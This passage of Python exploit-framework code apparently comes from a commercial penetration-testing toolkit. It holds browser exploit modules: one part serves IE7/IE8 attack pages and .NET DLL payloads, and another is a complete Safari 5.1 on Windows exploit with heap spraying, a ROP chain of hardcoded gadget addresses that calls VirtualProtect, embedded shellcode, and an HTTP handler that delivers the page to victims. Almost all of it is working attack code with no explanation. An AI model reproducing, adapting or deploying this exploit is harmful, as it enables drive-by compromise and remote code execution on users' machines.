IE7 .Net DLL file') self.vProtect = True # Needed for this type of payload data = p.createDotNETPEFileBuf(self.createShellcode(), self.pc) self.vProtect = False # Reset this else: self.log('WP> Serving IE8 .Net DLL file') data = p.createDotNETPEFileBuf("", self.pc) b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') elif (clientheader.URL.count('.2.html')): if cookies.count("SessionID2"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" else: self.log('WP> Serving exploit secondary file') if browser == "MSIE 7.0": data = self.makefileIE7(2) else: data = self.makefileIE8_VistaWin7(2) b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID2=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('iexplore.exe.config')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') elif (clientheader.URL.count('jreVerify.class')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') elif (clientheader.URL.count('favicon.ico')): self.log('WP> Returning blank page') b.setBody("") h.addHeader('Content-Type', 'text/html') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): if (self.version == 0): filedata = self.makefile('', 'Windows XP') elif (self.version == 1): filedata = self.makefile('MSIE 7', '') elif (self.version == 2): filedata = self.makefile('MSIE 8', '') self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(httpclientside): def __init__(self): tcpexploit.__init__(self) httpclientside.__init__(self) self.searchMethod = self.FindBrowser_FindAnyTag_CmpExtraInfo self.UserAgent = [("AppleWebKit", "Safari", "")] self.plugin_info = None # we want clientd to give us a plugin dict self.supports_dns_mosdef = False self.shellcode = "\xcc" * 298 self.setVersions() self.version = 1 self.badstring = "" #bad strings are for wusses :> self.name = NAME self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") def random_dummy_string(self, prefix=""): h = hashlib.new('sha1') h.update(str(random.random() * 10).replace('.', '')) retval = h.hexdigest() retval = '%s%.5s' % (prefix, retval) return retval # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): parsed = user_agent_parser.Parse(info_dict['user_agent']) if 'Windows' not in parsed['os']['family']: return 0 if 'Safari' in parsed['user_agent']['family']: try: minor = int(parsed['user_agent']['minor']) except Exception: return 0 if parsed['user_agent']['major'] == '5' and \ minor <= 1: return 100 return 0 def displayVersions(self): for v in self.versions.keys(): print "Version %d: %s" % (v, self.versions[v][0]) def setVersions(self): self.versions = {} #name, jmp esp, writeloc, writable, shelloc self.versions[1] = ("Windows - all versions", None) def neededListenerTypes(self): return self.clientSideListenerTypes() def shellcodetodwordlist(self, shellcode): # align shellcode = shellcode + "\xcc" * (4 - (len(shellcode) % 4)) #convert import struct dwordlist = [ struct.unpack("<L", shellcode[i:i + 4])[0] for i in range(0, len(shellcode), 4) ] hexlist = ",".join(map(hex, dwordlist)) return hexlist def makefile(self): replaces = {} replaces["SHELLCODE"] = self.shellcodetodwordlist(self.shellcode) filedata = """ <!DOCTYPE html> <html> <body> <applet code="ropplet.class" width="100" height="100" name="ropplet"></applet> <div id="console"></div> <style> div { -webkit-column-count: 1; } h2 { -webkit-column-span: all; } </style> <script type="application/javascript"> """ js = """ var shellc0de = [ SHELLCODE ]; var tarr = new Array(); //kudos to Agustin for the technique (HTML5 TM) function create_block2(base, q){ var quant = (q/2)-0x10; var arr = new ArrayBuffer(q); var block = new Uint32Array(arr); var i = 0; for(;i < (0x20)/4;i++){ block[i]= base+0x1000; } block[i] = 0; i++; for(;i < (0x4c)/4;i++){ block[i]= base+0x1000; } block[i]= 0; i++; for(;i < 0x7c/4;i++){ block[i]=base+0x1100; } block[i]=0x7C35A379; //stack pivot i++; for(;i < (0xf0)/4;i++){ block[i]=base+0x1100; } block[i]=base;i++; for(;i < (0x5d8+4)/4;i++){ block[i]=base+0x40; } for(;i < (0x1000)/4;i++){ block[i]=base+0x100; } //+0x384 offset in vtable block[i]= base+0x1100-0x384; i++; for(;i < (0x1100)/4;i++){ block[i]= base+0x100; } block[i]= base+0x1104; //new stack i++; block[i]= 0x7C344CC1; i++; //pop eax;ret block[i]= 0x7C37A140; i++; //VirtualProtect address block[i]= 0x7C3530EA; i++; //mov eax,[eax];ret block[i]= 0x7C341FE4; i++; //call eax;ret block[i]= base; i++; //Address block[i]= 0x4000; i++; //Length block[i]= 0x40; i++; //Prot block[i]= base; i++; //OldProt block[i]= base+0x1128;i++; //ret //here we can start with shellcode for(j = 0; j < shellc0de.length; j++){ block[i] = shellc0de[j]; i++; } return arr; } function spray_block2(block, quant){ var t = new Array(quant); for(var i=0; i< quant; i++){ var arr = new ArrayBuffer(block.byteLength); var b = new Uint32Array(block); var c = new Uint32Array(arr); //copy array for(var j=0; j < block.byteLength/4; j++){ c[j] = b[j]; } t.push(arr); } return t; } function create_object(base, size){ var arr = new ArrayBuffer(size); var b32 = new Uint32Array(arr); b32[0] = base; //0x0 b32[1] = 0x7C348B05; //0x4 //xchg eax,esp;ret b32[2] = base; //0x8 b32[3] = base+0x1100;//0xc //new stack for(var i=4; i < size/4; i++){ b32[i] = base; } return arr; } function run3xploit() { document.body.offsetTop; child = document.getElementById('test'); child.parentNode.removeChild(child); child = 0; //trigger gc for(var i=0;i < 0x10000; i++){ var t = String.fromCharCode(i); } //var base = 0x7f930000; var base = 0x7ec00000; obj = create_object(base, 0x40); var objreplace = spray_block2(obj,0x100); //create spray spray = create_block2(base, 0x2000); var t = spray_block2(spray,0xc000); document.body.innerHTML += "IMM"; } setTimeout("run3xploit()", 1000); """ for k, v in replaces.iteritems(): js = js.replace(k, v) #filedata+=self.jsObfuscator.obfuscate(js) filedata += js filedata += """ </script> <div> <span id="test"><h2></span> </div> </body> </html> """ return filedata def makesploit(self, clientheader, clientbody): """ Construct the attack """ from libs.spkproxy import header, body h = header("SERVER") b = body() self.log("Request: " + clientheader.URL) if clientheader.URL.count(self.filename): #the exploit self.log("sending HTML") self.createShellcode() sploitstring = self.makefile() b.setBody(sploitstring) h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) h.addHeader("Content-Type", "text/html") else: #redirect to self self.log("redirecting to self") h.status = "302" h.addHeader("Location", self.filename) h.addHeader("Content-Type", "text/html") return h, b